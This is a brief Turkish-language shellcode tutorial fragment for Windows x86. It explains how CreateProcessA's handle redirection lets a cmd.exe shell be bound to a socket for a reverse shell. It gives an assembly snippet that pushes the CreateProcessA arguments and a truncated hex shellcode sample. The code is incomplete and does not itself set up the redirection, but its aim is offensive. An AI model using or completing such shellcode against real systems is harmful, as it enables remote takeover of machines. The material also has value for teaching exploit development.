Klasik Shellcode - Windows x86 - CreateProcess
WinExec'in aksine CreateProcessA, stdin/stdout/stderr handle'larini tam olarak kontrol etmenize olanak tanir. Shell'in giris/cikisini bir socket'e yonlendirerek network uzerinden reverse shell elde etmek mumkundur.
STARTUPINFO ile Handle Yonlendirme
; STARTUPINFO yapisi (68 bytes)
sub esp, 0x44 ; 68 byte alan ac
mov eax, esp
push eax
push eax
xor edx, edx
push edx ; lpCurrentDirectory = NULL
push edx ; lpEnvironment = NULL
push 8 ; DETACHED_PROCESS
push edx ; bInheritHandles
push edx ; lpThreadAttributes
push edx ; lpProcessAttributes
push [cmd_ptr] ; cmd.exe
push edx ; lpApplicationName
call [CreateProcessA]
Hex Ornegi
\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70
\x14\xad\x96\xad\x8b\x58\x10\x8b\x53\x3c\x01... [kisaltildi]